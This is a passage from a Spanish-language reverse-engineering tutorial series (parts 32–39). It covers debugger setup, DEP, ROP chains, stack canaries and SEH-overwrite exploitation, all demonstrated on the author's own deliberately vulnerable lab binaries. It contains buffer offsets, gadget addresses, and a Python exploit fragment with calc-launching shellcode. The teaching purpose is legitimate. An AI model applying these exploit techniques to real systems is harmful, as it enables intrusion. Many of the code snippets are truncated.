el problema es que si subo mucho el size a copiar la división dará cero y eso es el valor que
va al MALLOC luego de multiplicarlo por 16, así que debemos manejar bien esta división
para que no de cero.
De esa forma veremos si llega al stream_Read con un size grande mayor que 8 que
desborde el buffer, lo volvemos a tirar con este archivo modificado.
Así que llama a malloc con el tamaño 0x20, allocara sin problema.
Va al bloque donde está la vulnerabilidad, con el size_a_copiar 0x464f que obviamente es
mayor que 8, lo que en la versión parcheada lo tiraría fuera y no habría overflow.
Le colocó breakpoints en el buffer, ECX apunta al mismo, voy allí y le pongo hardware
breakpoint on read write para que pare cuando comience a llenar el buffer.
Ahora llegaré hasta el ret ya que seguro pisa el mismo por el largo que tiene lo que copia al
buffer.
Voy haciendo RUN TILL RETURN o CTRL más f7 y vuelve a la función principal, donde
está alojado el buffer al llegar al ret de la misma debería crashear.
Pongo un breakpoint en el ret de la función y deshabilito todos los otros.
Veo que el stack está destruido porque pise todo alli, voy a HEX VIEW y apreto la flechita al
lado de ESP.
Si todo va bien se podría explotar, ya veremos cómo continuar con la explotación de este
ejemplo más adelante ahora en las partes siguientes vamos a seguir con la teoría que falta
y algunos ejemplos sencillos programados por mi para que practiquen yo ya trabajé mucho
jeje.
Es de notar que la extensión del archivo debe ser ty+ si no no pasa por la parte vulnerable,
si la cambiamos.
Una de las cosas que nos faltan instalar es Windbg, que puede ser manejado desde la
interfase de IDA y que es un gran debugger, quizás le falta comodidad ya que es casi todo
comandos tipo consola y se complica un poco de manejar, pero podemos utilizar la gran
interfase que tiene IDA, con Windbg debuggeando detrás, muy útil cuando se desea
debuggear kernel, o tener una buena información del estado del heap en bugs tipo heap
overflow o use after free que veremos más adelante.
Hay muchas formas de instalar el WINDBG, lamentablemente varían y tendrán que probar
la que a ustedes les va, como yo estoy en Windows 10 fui a la pagina de Microsoft para
bajar el Windows 10 SDK.
Allí me baje el instalador y cuando me da las opciones solo elegí que instale las
DEBUGGING TOOLS FOR WINDOWS.
Desmarcando las otras opciones instalará el Windbg, como cada Windows tiene su SDK,
podrán hacer lo mismo en otros Windows, y instalar el que corresponde a su sistema, al
menos en este caso sabemos que va bien.
Luego debo ir a la carpeta cfg dentro de la instalación del IDA y buscar IDA.CFG.
Edito ese archivo y le tengo que poner el path en DBGTOOLS a donde está instalado el
windbg x86, en mi caso se encuentra en.
Así que en el archivo IDA.CFG busco DBGTOOLS.
Y le agrego el path exacto, agregando la doble barra \\ en vez de la barra simple para
separar las carpetas, deje comentado el path original que traía justo arriba.
Abro cualquier ejecutable, y le pongo un BREAKPOINT para que pare y cambio el debugger
a Windbg.
Luego veremos si quedo bien, arrancamos el ejecutable, si nos dice que no encuentra el
WINDBG deberán revisar el path, o algo fallo en la instalación, lo cual puede pasar, creo
que la única forma de ver el problema es mirar con Process Monitor que archivos busca al
arrancar y donde, para ver lo que falla.
Allí paró tal cual fuera el Win32 local debugger de IDA, pero vemos que abajo donde esta
normalmente la barra de Python nos aparece WINDBG (sino aparece investiguen y manden
como lo solucionaron para agregarlo aquí en el tutorial), ademas clickeando en la palabra
WINDBG puedo cambiar a la barra de Python si necesito.
Esto quiere decir que la cosa va bien, que quedo bien instalado, podemos utilizar la GUI de
IDA y a la vez comandos de windbg, probemos algunos.
Funciono puedo ver la lista de módulos en la barra de Windbg, obviamente también en la de
IDA.
También debemos configurar los símbolos para el WINDBG, vemos que si hacemos
.reload
Creemos una carpeta en C para los símbolos, obviamente IDA tiene que arrancar como
administrador sino no podrá escribir allí.
En las ENVIRONMENT VARIABLES o VARIABLES DE ENTORNO de Windows
agregaremos _NT_SYMBOL_PATH.
Y como valores ponemos por ejemplo.
Allí pondre el path a la carpeta que cree donde se bajara los símbolos, en mi caso sera la
carpeta symbols en C.
Reinicio la maquina o al menos el explorador de Windows (el proceso explorer.exe
matándolo y arrancándolo desde la barra de procesos)
Y ahora cuando arranco de nuevo el IDA y arranco a debuggear con el windbg, ya vemos
que se empieza a tratar de bajar los símbolos muestra ventanas de downloading y al
finalizar con lm, vemos que aparece el path que pusimos y dentro de la carpeta de los
símbolos están los pdb.
Ya lo tenemos configurado para trabajar.
Con x podemos ver la lista de funciones de kernel32 por ejemplo si queremos podemos
usar comodines.
Las que empiezan por He.
Por supuesto también en IDA, en la lista de módulos puedo hacer click derecho LOAD
SYMBOLS de algún modulo.
Vemos que en windbg se listan todos los breakpoints, mientras que en el listado de IDA solo
aparecerán los de IDA aunque siempre parara en todos.
Bueno por ahora lo dejaremos aquí es importante que vayan preparando la instalación para
que funcione bien a veces hay problemas con eso, así que en la siguiente parte seguiremos
adelante.
Hasta la parte 33.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
33
_________________________________________________________________________
Vamos a instalar un par de plugins para el Windbg que nos ayudarán más adelante cuando
trabajemos.
Lamentablemente estos plugins solo corren en Windbg, pero si los corres en el windbg
incluido en el IDA lo hacen crashear a este último, posiblemente porque se conflictúa con el
Python incluido en IDA, pero bueno los usaremos en el windbg separado cuando los
necesitemos.
Copiaremos los archivos que adjunte en la carpeta winext, que se encuentra dentro de la
carpeta donde esta instalado el windbg y instalo el runtime vcredist_x86.exe.
Con eso ya debería funcionar probemos arranquemos windbg suelto, sin IDA, si les llega a
fallar seguramente les faltara algún runtime, si no debería funcionar correctamente.
!load pykd.pyd
Con !py puedo ejecutar scripts, si pongo el path del mismo a continuación, pero al menos
por ahora abri una consola de Python.
!Load pykd.pyd
!py mona
Vemos las protecciones de los módulos que están corriendo, ya las estudiaremos más
adelante, ahora estamos preparando para poder tener todo listo para ir a fondo.
!py mona rop
Eso tardara muchísimo, intentará ver si hay algún modulo donde pueda generar un ROP
(más adelante veremos lo que es) y tratara de construirlo.
A veces podrá crearlo a veces no, pero al menos vemos que está funcionando.
Vemos que devolvió lo que pudo y como no arranque el windbg como administrador no
pudo escribir el archivo con la salida, pero igual la imprime.
Podemos chequear si hay un update de mona.
Atacheando a un proceso que está corriendo, en este caso el notepad++
La verdad tiene muchos comandos útiles este para ver las funciones importadas.(aunque
tarda mucho)
Conviene ejecutarlo como administrador para que guarde tanta información en un archivo
podemos obtener también info de una dirección, por ejemplo.
Bueno nos divertimos un rato, y de paso ya lo tenemos instalado para seguir adelante, nos
vemos en la parte 34.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
34
_________________________________________________________________________
QUE ES DEP?
Dejemosle la definición a Microsoft jeje, la realidad es que hay varias formas de activar
DEP, una por ejemplo en las propiedades del sistema.
Estoy en Windows 10 y está seteado DEP para los programas y servicios esenciales, esa
es la configuración por default, lo cual quiere decir que hay programas que no tienen DEP
por default.
Por supuesto se puede cambiar a la otra opción de que todos los programas tengan DEP, lo
cual obviamente ayuda un poco mas a evitar la ejecución de código.
Además de la configuración del sistema, cada programa puede activar DEP por su cuenta.
usando una api que Microsoft provee para ello.
Resumiendo DEP cambia los permisos de las páginas donde se alojan datos, stack, heap
etc, para evitar que podamos ejecutar código allí.
Dado que DEP se maneja por proceso, tiene varias formas de activarse y puede hacerse en
tiempo de ejecución, debemos mirar la lista de procesos con PROCESS EXPLORER la cual
tiene una columna que nos dice el estado del DEP de cada proceso.
https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx
Allí está, debemos correrlo como administrador le agregamos haciendo click derecho en la
barra de columnas y eligiendo SELECT COLUMNS.
Vemos que la mayoría de los procesos lo tienen habilitado y alguno que otro deshabilitado.
Obviamente los procesos de sistema lo tienen siempre habilitado y los programas de
terceros, algunos sí otros no.
Bueno la cuestión es que el DEP solo este habilitado no es gran cosa, pues puede ser
bypaseado, el DEP gana fuerza cuando se combina completamente con otras protecciones
que más adelante veremos.
Uno de los principales métodos para bypasear el DEP es el ROP o return oriented
programming.
La idea cuando no existe DEP, y por ejemplo pisamos un return address al desbordar un
stack overflow, es que normalmente saltamos a un JMP ESP o CALL ESP que devuelve la
ejecución al stack y continuaba ejecutando mi código que se encontraba debajo del JMP
ESP.
Pero la idea general del ROP es, en vez de saltar a un JMP ESP, ir saltando a pedazos de
código llamados gadgets que son código ejecutable del programa que terminan en un RET
(los gadgets son parte de algún módulo por eso allí podemos ejecutar) y con eso enhebrar
una llamada poco a poco a alguna api como VirtualProtect o VirtualAlloc que cambie y le de
permiso de ejecución al stack o al heap donde esta mi código, para finalmente saltar a
ejecutar al mismo.
O sea que si un exploit que pisa un return address por ejemplo sin DEP era
Allí tenemos un programa, tiene un buffer de 30 bytes decimal, y ingresa por argumento una
string que la copia con strcpy al buffer sin chequear el largo, por lo cual produce un buffer
overflow.
En IDA vemos que hace SHL EAX, 0 o sea que rota 0 bytes, quedando EAX igual que antes
o sea 4 en este caso.
En este caso como EAX vale 4, quedará en EDX el puntero al segundo argumento que
nosotros pasamos, que pasa como argumento a la función saluda.
En la función saluda, hay un argumento que es el puntero al argumento y una variable que
es un buffer donde copiará la string.
Como lo compile con símbolos, detecta que texto es del tipo puntero, y que apunta a una
string (o array de caracteres).
Por supuesto ese array puede ser del largo que queramos ya que lo tipeamos nosotros y no
hay límite ni chequeo.
Veamos el buffer.
Como lo compile con símbolos detectó que es un buffer, igual veamos las referencias donde
se usa.
Las referencias son LEA lo cual es otra pista si no supiéramos, además se usa como
Destino de un strcpy donde se usara como buffer de Destino, luego se usara para imprimir
su contenido.
Así que para pisar el return address, cuánto debería ser el largo del argumento que
enviamos?
Marco la zona que voy a llenar empezando desde el buffer, y dejando fuera el return
address, y hago click derecho -ARRAY sin aceptar, solo para ver el largo que debe tener la
string que overflodee eso.
O sea que enviando 36 bytes decimal quedó justo para pisar el return address, así que si mi
código fuera.
Supuestamente las CCCCCCCC quedarían justo pisando el return address, podría probarlo
para eso configurare IDA como JUST IN TIME DEBUGGER, para eso desde una consola
con permiso de administrador voy a la carpeta donde esta el ejecutable del IDA.
Al correr el script veo que salta a ejecutar la dirección 0xCCCCCCCC que yo puse en el
mismo, ya que pise el return address con la misma.
Allí veo que ahora ESP quedó apuntando justo debajo de las CCCCCCCC, así que si yo
agregara mas código debajo, y en vez de saltar a CCCCCCCC saltara a un JMP ESP,
saltaría a ejecutar dicho código (que buenos tiempos cuando no había DEP jeje)
Hacemos click derecho para que lo analice y cargamos los símbolos del mismo, tardará un
rato, mientras en cualquier lugar del código arrancamos el plugin keypatcher y sin aceptar
vemos que la instrucción JMP ESP corresponde a la secuencia de bytes FF e4.
Cuando termina vemos que en la lista de funciones aparecen las de mypepe, voy a alguna.
Allí en 00x4010ba hay un JMP ESP, lo que si no podemos pasar ceros, pero como cuando
hace strcpy el sistema coloca un cero al final, no lo pondremos y dejaremos que el lo
coloque.
El problema es que el JMP ESP sirve solo para saltar si ponemos mas codigo debajo, pero
no podemos pasar mas codigo por el cero final del JMP ESP, así que saltaremos a un RET,
total justo debajo está el puntero a la string nuestra que se pasó como argumento.
Justo debajo del return address en el stack, está el puntero a nuestra string texto, así que si
saltamos a un RET volverá al codigo mio, pues ese ret lo devolverá allí usando ese puntero
como si fuera un return address nuevamente.
Veo que ya salta a ejecutar mi código las CCCCCCCC que puse como shellcode, podría
ahora acomodar el codigo que quisiera alli y ejecutar lo que quiera total no hay DEP, lo
único que hay poco espacio porque le puse solo 30 bytes de largo lo que me impide hacer
grandes cosas, pero bueno la idea es esa.
import struct
shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" +
"\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1"
#0x40103a ret
import subprocess
subprocess.call([r'C:\Users\ricna\Desktop\34\NO_DEP.exe', fruta])
Allí está crasheara, pero luego de ejecutar la calculadora que es el objetivo.
En las partes siguientes iremos agregando de a poco más ejercicios, luego algunos con
DEP, agregaremos ROP y iremos paso a paso.
Ricardo Narvaja
Hasta la parte 35
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
35
_________________________________________________________________________
He compilado dos ejecutables uno con DEP y otro sin DEP para poder hacerlos ambos, el
código es el mismo, pero en este caso en vez de cambiarlo en la compilación directamente
llamo a la api SetProcessDEPPolicy, en uno con el argumento 0 (sin dep) y el otro con el
argumento 1 (con DEP).
Si corro ambos y los veo en el Process Explorer, ambos están detenidos en el gets_s
esperando data, y ya pasaron por SetProcessDEPPolicy, así que el DEP está seteado en
ambos con la api.(en uno activado y en el otro no)
Estos ejemplos nos van a servir mejor que el anterior ya que el código es similar y el
anterior se quedaba un poco chico el buffer para poder hacer ROP.
El único plugin que nos faltaba instalar es el idasploiter.
https://github.com/iphelix/ida-sploiter
Es un .py que se baja de allí, apretando el botón CLONE OR DOWNLOAD y se copia el .py
a la carpeta plugins del IDA nada mas.
Bueno dado que es el primero, nos será más fácil analizarlo una sola vez ya que el
reversing será similar, teniendo el mismo código.
Lo haré en el que tiene DEP igual el análisis servirá para ambos.
Vemos que usa la api atoi para pasar a entero el numero que tipeamos como argumento y
lo guarda en la variable size que es signed, ya vemos que más abajo compara usando JG
que es una comparación con signo, así que se podrán pasar números negativos y estos
serán menores que 0x300, lo cual como size se pasa como argumento de la función saluda
y dentro de la misma se usa como un size de gets_s, la cual lo toma como unsigned,
provocando un posible overflow ya que permitirá ingresar más de 0x300 bytes en el buffer
de ese tamanio.
Carga el modulo Mypepe.dll usando LoadLibrary, podemos hacer demangle names para
que se vea mas lindo.
Allí veo que para desbordar el buffer y pisar el justo antes del stack necesito 772 bytes.
Armemos el script, el mismo además debe ingresar el size negativo por argumento para
provocar el overflow.
Por supuesto al aceptar, ESP queda apuntando a mi shellcode en el stack y como no hay
DEP si en vez de saltar a CCCCCCCC saltara a un JMP ESP, CALL ESP o PUSH ESP-
RET en algún módulo sin randomización para que no se mueva, estaría listo.
Cortesía del IDA SPLOITER aparecerá otra lista de módulos, esta se encuentra en VIEW-
OPEN SUBVIEW-MODULES o SHIFT mas f6.
Allí vemos la lista de módulos, vemos que Mypepe.dll no tiene ASLR (randomización) así
que es un buen candidato para buscar el JMP ESP allí.
Vemos que si hacemos click derecho, tiene la opción SEARCH GADGETS que busca
pedazos de código que terminan en RET, una vez que hago que liste todos los gadgets,
puedo hacer CTRL mas F y buscar PUSH ESP.
Así que podría usar esa dirección aquí, no hay problema con los ceros, pues gets_s los
acepta.
Listo, el shellcode estaba hecho para Mypepe.dll así que funcionara igual que la vez
anterior.
Bueno comenzaremos a trabajar con la versión que tiene DEP, sabemos que es similar pero
que pasa cuando le tiramos el script de la versión NO DEP.
Allí vemos el stack pisado, saltara al PUSH ESP - RET que está en 0x7800f7c1, no debería
haber problema aquí pues es una instrucción de la sección de código de un módulo y estas
secciones tienen permiso de ejecución siempre, apretemos f7.
Traceamos con F7.
Pushea el valor del registro ESP y luego llega al ret, allí saltará tal cual si fuera un return
address a ejecutar a 0x78fbc8 y allí está mi shellcode en el stack, en el NO DEP salto y
ejecutó ese shellcode que envié pero qué pasa aquí, apreto f7.
Vemos que saltar al código de una librería como hicimos con el PUSH ESP-RET se puede y
esa es la idea del ROP, enhebrar gadgets que son pequeños códigos que terminan en RET
para lograr finalmente dar permiso de ejecución al stack, heap o lo que necesitemos.
Por ejemplo si quiero poner un valor en EAX, en vez de saltar al PUSH ESP-RET saltare a
un POP EAX-RET, buscaré un POP EAX-RET entre los gadgets del idasploiter en la librería
mypepe que no tiene ASLR.
Al llegar al RET veo mi ROP el salto al POP EAX-RET, el 0x41424344 que terminará
moviéndose a EAX y el 0xCCCCCCCC donde debería poner el puntero al siguiente gadget,
traceemos con F7.
Saltamos a mi primer gadget es el POP EAX-RET sabemos que el POP saca el valor del
stack y lo mueve en este caso a EAX, si ejecuto con F7.
Allí se movió a EAX, y cómo llego a un RET saltará al siguiente gadget en este caso
0xCCCCCCCC, aún no lo tiene pero se deberá poner la dirección del siguiente gadget allí.
Y esto es el ROP enhebrar diferentes gadgets que hagan lo que yo quiero uno a
continuación del otro, por eso se llama ROP (RETURN ORIENTED PROGRAMMING)
porque estamos ejecutando código, sin poner nosotros las instrucciones solo ponemos una
lista de direcciones que apuntamos a pedazos de código que nos sirvan y listo.
Lo primero de todo es decidir cuál api usaremos para desproteger el stack en este caso,
podría ser VirtualAlloc o VirtualProtect, son las más usadas, aunque hay más.
Sabemos que hay dos pestañas modules ahora, la del idasploiter y la del IDA mismo, esta
última está en DEBUGGER-DEBUGGER WINDOWS-MODULE LIST, allí le haremos click
derecho a Mypepe y la analizaremos y haremos que cargue sus símbolos si tiene.
Como de Mypepe no tenemos los símbolos queda lindo, pero no agrega alguna información
como las funciones importadas que usa en la lista de funciones, solo están las propias de
Mypepe.
Bueno mirando un poco entre las funciones de la IAT vemos VirtualAlloc, así que listo
prepararemos un ROP para ella (ya sabemos además que 0x7802e0b0 es la entrada de la
IAT de VA la abreviamos así desde ahora.)
La idea es acomodar estos valores en cada registro y luego mediante algún PUSHAD RET
enviarlos al stack y quedaran acomodados como argumentos de VirtualAlloc, no es magia
jeje.
Vemos que hay que poner un 0x90909090 en EAX ese gadget PUSH EAX-RET ya lo
habíamos agregado solo falta cambiar el valor que POPEA a EAX a 0x90909090, pero EAX
siempre conviene setearlo al último, porque puede ser necesario para setear otros valores,
nos conviene poner primero los más difíciles, en ESI debe estar la dirección de VirtualAlloc
y nosotros tenemos solo la entrada de la IAT, pero la dirección de la api cambiará, la
entrada de la IAT no, así que basándonos en la entrada, hallaremos la dirección y
funcionará siempre.
Para ello debemos buscar lo más fácil si hay un MOV ESI, [registro] -RET busquemos
entre los gadgets.
Está bien ponemos en EAX la dirección de la IAT más 4 y con esa instrucción movemos la
dirección de la api a EAX, en otro gadget posterior habrá que moverlo de EAX a ESI, pero
vayamos por partes pongamos todo esto y probémoslo.
Con eso tendremos la entrada de la IAT más 4 en EAX, el siguiente gadget será el que
hallamos.
Una de las incomodidades que veremos es que el idasploiter solo corre en modo debugging
así que si necesitamos debuggear se cerrará al reiniciar trabajando, igual se puede tener
otro IDA con el proceso detenido debuggeando para buscar en el IDA SPLOITER y
debuggear en otro.
No hay MOV ESI,EAX ni nada parecido, así que deberemos aguzar la imaginación, a pesar
de que los gadgets terminan normalmente en RET cualquier código que aunque no termine
en RET me permita continuar y retomar el control será también un gadget, aunque menos
tradicional servirá.
Si pusheo el valor de EAX al stack usando el gadget PUSH EAX-CALL ESI y preparó ESI
para tenga un POP ESI -RET, podría pasar EAX a ESI usando el stack veamos.
Así que pondré antes en ESI, el gadget a POP ESI-RET.
Vemos que el POP ESI, mueve a ESI el mismo puntero al POP ESI-RET para que después
del siguiente gadget se retome el control.
Pusheara al stack la dirección de VA y salta con CALL ESI de nuevo al POP ESI-RET ya
que habíamos guardado la dirección de POP ESI-RET en ESI.
Vemos que falla ya que mueve a ESI el return address que guardo y justo debajo esta la
dirección de VA, así que en vez de un POP ESI- RET este último debería ser un POP XXX,
POP ESI -RET para que saque el primer valor del stack a otro lado y luego si popee a ESI el
valor de VA.
Ahí esta, así que cambio este solo el que muevo a ESI, el otro debe quedar igual.
Probemos ahora.
Entro con F7
Eso es el seteo de EBP, con eso lo tendremos seteado con su puntero a PUSH ESP-RET,
sigamos.
EDI =ROP NOP significa que debe apuntar a un RET que es el NOP en la programación
ROP, así que busquemos un POP EDI-RET para setear EDI.
Listo solo nos falta el gadget final que acomoda todo es un PUSHAD-RET.
Ahí está, el ADD AL, XX no hace nada porque hace el PUSHAD antes, así que guardara el
90909090 en el stack, agreguemos.
Llegamos al PUSHAD
Si en EAX devuelve una dirección está todo correcto y desprotegido, puedo ahora ejecutar
mi código sigo traceando con f7.
VENCIMOS jeje.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
37
_________________________________________________________________________
Bueno haremos el mismo ejemplo de la parte anterior pero esta vez usando mona dentro de
Windbg, sabemos que el mona no corre en IDA así que abrimos el Windbg separado de
IDA.
Desde una consola arranco el DEP.exe con algún argumento para que no se cierre y quede
esperando lo que se tipea por teclado.
Podría haberlo arrancado desde el WINDBG también, es indiferente, solo que hay que parar
en algún punto donde el modulo que usaremos para hacer ROP ya este cargada, no
importa que haya crasheado ya.
En este caso estamos dentro del gets_s y la Mypepe la cargo antes.
Mientras termina comentemos que tiene opciones para decirle que busque direcciones sin
cero, para filtrar diferentes caracteres, etc está bastante bien, aunque no siempre encuentra
algún ROP completo, a veces te da un rop semi completo y te dice lo que falta, para que
uno lo halle uno a mano, así que siempre hay que remar un poco.
La opción -cp nos da la posibilidad de filtrar los resultados del ROP según diferentes
criterios, vemos que hay un nonnull para que no tenga ceros y varios más, también está la
posibilidad de filtrar numéricamente con cpb, para caracteres específicos.
Ahí termino veamos, escribe un texto bastante largo si lo hubiera arrancado como admin lo
guardaría a un txt pero no tenía permiso, igual copiaré aquí las partes más interesantes.
Vemos que nos muestra lo que deberían tener los registros antes del PUSHAD RET, que
usamos en la parte anterior, incluso nos da otra alternativa para VirtualAlloc, también es
bueno guardar lo que hay que acomodar en los registros cuando usamos VirtualProtect que
esta por ahí también.
Eso es bueno guardarlo por si lo hacemos a mano, saber que hay que colocar en cada
registro antes del PUSHAD-RET tanto para VirtualAlloc como para VirtualProtect, ahora
veamos si hallo algún ROP para VirtualAlloc.
Vemos que lo halló y lo hizo más fácil porque uso la otra forma que usa directamente la
entrada de la IAT en vez de la dirección de la API de esta forma salta en forma indirecta y
evita los traspasos de la dirección de VA entre registros.
Ahí vemos que ya está para Python, así que copiamos y pegamos en nuestro script.
Vemos que define una función, así que la copiare y pegare al inicio de mi script.
Y se la llama con:
rop_chain = create_rop_chain()
Pondremos eso en la parte principal del mi script para que me devuelva el rop.
Veamos si funciona.
Ese es el modelo alternativo que usa y vemos la diferencia fácil porque en ESI coloca un
JMP [EAX] mientras que el que use yo en ESI colocaba la dirección de VA.
Su primer gadget es
Eso debería apuntar a un POP para saltear 4 bytes, ejecutémoslo y veamos que queda en
EBP.
Vemos que en EBP queda la misma dirección de este POP EBP-RET lo cual está bien.
Vamos con el siguiente gadget.
Mueve a EBX el valor 1 que es el dwsize así que concuerda con el modelo, sigamos son
poquitos.
Allí se cortó lo que viene es un 0x1a puede ser que no le guste, busquemos otro pop edi
que no tenga 0x1a a ver que pasa.
0x78028756 es el POP EDI que había encontrado la parte anterior usemos este.
Volvamos a tracear.
Funcionó y se ve el ROP que queda en el stack no se cortó ahora, veamos que guarda en
EDI.
Un puntero a un C3 o RET como dice el modelo, parece que era solo eso, pero ya que
estamos terminémoslo de tracear.
Vemos que luego del POP ESI, el mismo queda apuntando al JMP [EAX] como decía el
modelo.
En EAX debe quedar la entrada de la IAT de VA no la dirección.
Si sigo veo que el error en este caso se produce por el ADD AL, 80 que se le suma a la
dirección de la IAT de VA, así que para compensar deberemos restarle 0x80 a la dirección
de la entrada de la IAT.
Python>hex(0x7802E0B0-0x80)
0x7802e030
Vimos que el mona ayuda mucho, nos da casi todo bien, pero a veces hay que corregir
algo, no siempre es perfecto, igual cuando no hay mucho tiempo, se suele hacer así,
aunque no es tan divertido jeje.
Hasta la parte 38
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
38
_________________________________________________________________________
Ya hemos visto lo que es el CANARY un valor random que se coloca en el stack justo antes
del stored EBP y return address, para que si se sobrescribe el mismo, lo cual es necesario
para sobrescribir el return address, el programa chequea ese valor si es el mismo que tiene
guardado y si no es correcto se cierra impidiendo la ejecución de código.
El código es el mismo del ejemplo NO_DEP solo que en este caso se le agregó el CANARY
lo cual impedirá explotarlo pisando el RETURN ADRESS.
Vamos a tracear tirándole el mismo script que hicimos para el NO_DEP para ver porque
ahora no funciona, y luego tratar de bypasear la protección.
Vemos que lee el valor random _security_cookie, que está guardado en la sección data, lo
mueve a EAX y lo XOREA con EBP, lo cual lo hace más personalizado, pues será el EBP
de esta función y si además el ejecutable está randomizado, EBP tampoco será constante.
Guarda ese valor en la variable CANARY la cual si hay un overflow que trata de pisar el
return address será modificada, además nadie puede saber qué valor random habría allí,
para pisarlo con un mismo valor cambiante.
Cuando sale de la función lo volverá a levantar, xorear nuevamente con el mismo EBP para
obtener el _security_cookie original y dentro de un CALL lo comparara y si no es igual dará
un error o se cerrará según el caso.
Pongamos un BREAKPOINT allí para poder detenernos al atachear.
Sigamos traceando.
No vamos a ponernos a analizar todo esto pero si le damos RUN veremos que o bien
crashea el programa o se cierra sin continuar.
Así que la cuestión es cómo bypassear esto, lo primero que se utilizó y que con algunas
restricciones aun funciona es usar el SEH.
https://msdn.microsoft.com/es-ar/library/swezty51.aspx
Bueno el que quiere tragarse todo eso adelante el tema es que Windows guarda en el stack
una lista enlazada simple que contiene punteros a donde debe saltar el programa cuando
encuentra una excepción.
Los que tienen experiencia en programación saben que hay estructuras TRY-EXCEPT o
TRY-CATCH donde el código dentro del try es ejecutado y si se produce alguna excepción,
salta al EXCEPT.
Bueno sin tanta vuelta hay en el stack varias de estas estructuras que el programa va
agregando para manejar las excepciones de partes del código y cada una tiene un NEXT
que apunta a la siguiente y un puntero a donde debe saltar si encuentra una excepción.
Allí en azul vemos la lista simplemente enlazada que se encuentra en el stack, cada NEXT
apunta a la siguiente estructura y cada una tiene un HANDLER o SEH que apunta adonde
saltara, veámoslo en el ejemplo del CANARY_sin_DEP.exe, lo atacheamos nuevamente.
Si en DEBUGGER WINDOWS -SEH LIST se pueden ver los SEH de cada estructura en el
stack, lamentablemente no muestra la dirección del stack donde se encuentra, pero bueno
se puede armar la lista enlazada fácilmente.
Vemos el NEXT que apunta a la siguiente estructura en mi caso en 0x93FF7c vayamos allí.
Así toda la lista esta simplemente enlazada con cada NEXT apuntando a la estructura
siguiente.
Cuando el NEXT está a -1 es la última estructura, pero el IDA me muestra una más habrá
una antes?
Si volvemos al primero vemos que el NEXT tiene una referencia del stack.
Ahí tenemos las tres estructuras, como tengo que tratar de llenar el stack para producir una
excepción cuando no pueda seguir escribiendo porque se acabe la sección del mismo, voy
a modificar el script y lanzarlo para que rompa todo el stack.
Lo lanzamos nuevamente.
Vemos el fin del stack y está tratando de escribir, más allá del final del mismo.
Crashea aquí, ESI apunta en mi caso a 0x940000 donde ya no hay más stack.
Vemos que pise el SEH, así que si continuo podría el programa saltar a 0x41414141
obviamente esto tiene algunas restricciones, debemos buscar un módulo donde saltar que
no tenga ASLR para que no se mueva, y además solo puede saltar a un módulo que tenga
SAFE SEH OFF que es una opción de compilación.(como en esta caso no tenemos DEP
podríamos también saltar a una zona de memoria del HEAP que tengamos llena con
nuestra data y con una dirección predecible, porque como no hay DEP podríamos ejecutar
directamente allí, pero no es el caso la data entra directo al stack y no se puede saltar de un
SEH al stack directo)
Bueno hay un módulo sin ASLR y SAFE SEH OFF es el Mypepe, así que deberemos saltar
allí.
Busquemos la posición en el stack de los SEH.
Veamos si tiene referencias del stack, si no busco la dirección con el SEARCH FOR
INMEDIATE VALUE.
Allí está ahora debemos sacar la distancia desde el inicio del buffer hasta justo antes de
este NEXT en mi caso 0x93f90f.
Veo que EDI quedó apuntando al inicio del BUFFER, así que voy allí hago ALT mas L.
Eso habilita el modo marcar si voy bajando con SHIFT bajara marcando, pero como es muy
lejos hare G y pondré la dirección final 0x93f90f, si antes de apretar el botón mantengo
apretado SHIFT queda todo marcado lo del medio.
Si voy al menú EDIT-ARRAY me dice que el largo del mismo es 844 decimal.
Bueno así que para pisar el SEH deberíamos pasar algo como
Vemos que así pisamos el NEXT y el SEH ya veremos con qué y luego debo seguir
enviando datos para que termine de crashear y copiar todo el stack.
Veremos si la cuenta salió bien y terminamos pisando el SEH con 0x46474849
Veo que cuando crashea porque se termina el stack ahora el SEH queda pisado con mi
valor eso quiere decir que la cuenta estuvo correcta.
Incluso si continuo veo que EIP queda apuntando a 0x46474849 como es la idea.
Así que como no hay DEP si saltamos a un POP r32, POP r32, RET terminamos saltando al
NEXT nuestro, pues sacamos los dos primeros valores con POP y saltamos al tercero con
el RET.
Busquemos entre los gadgets del Mypepe un POP POP RET no importa el registro.
Allí vemos un pop pop ret, coloquémoslo en el SEH para saltar allí
Tirémoslo nuevamente.
Estos son el NEXT y el SEH, lo que se hace normalmente es reemplazar el NEXT por EB
06 90 90, para que salte por encima del SEH y no crashee y luego debemos poner el
shellcode, al inicio donde están las B.
Eso debería funcionar probémoslo.
Lo que ocurre es que se generan muchísimas calculadoras, porque cada vez que crashea el
programa, vuelve a saltar al SEH para capturar la excepción y vuelve a ejecutar la
calculadora, eso se puede arreglar fácilmente modificando el shellcode para que la primera
vez que se ejecute cuando termine llame a exit() y listo se cerrará el programa.
Agregare
\x68\xAB\x39\x00\x78\xC3
Ahora si salió una sola calculadora, en la próxima parte veremos cómo ropear cuando
venimos de explotar un SEH.
Debemos aclarar que si tienen un módulo sin ASLR y SAFE SEH OFF e igual no salta a su
SEH al manejar la excepción, puede estar activada una protección especial llamada SEHOP
que en los Windows servers mayores a 2008 viene activada por default y también en
algunos programas como BROWSERS modernos o algún servicio.
Esta protección chequea la integridad de la cadena antes de saltar y verifica que el último
SEH sea el correcto y no esta pisado, mas siendo una dirección randomizada, es imposible
de pisar y que siga funcionando.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
39
_________________________________________________________________________
Nos queda como último caso la explotación de un stack overflow con CANARY Y DEP
pisando el SEH.
Igual que antes crashea cuando se le acaba el stack, veamos los SEH,
Igual que antes pisa con el puntero al pop pop ret, pongamos un breakpoint ahí.
Allí estoy como siempre el stack en su tercera posición hay un puntero al NEXT.
Si voy ejecutando con F7.
Salto al stack ese JMP es el EB 06 90 90 del NEXT, pero cuando lo quiero ejecutar.
Vimos que en mi caso antes de ejecutar el POP POP RET ESP valía 0xAFEF98
hex(0xAFF5A8 - 0xAFEF98)
Así que la distancia entre ESP y el inicio de mi data es 0x610, quiere decir que si busco un
gadget
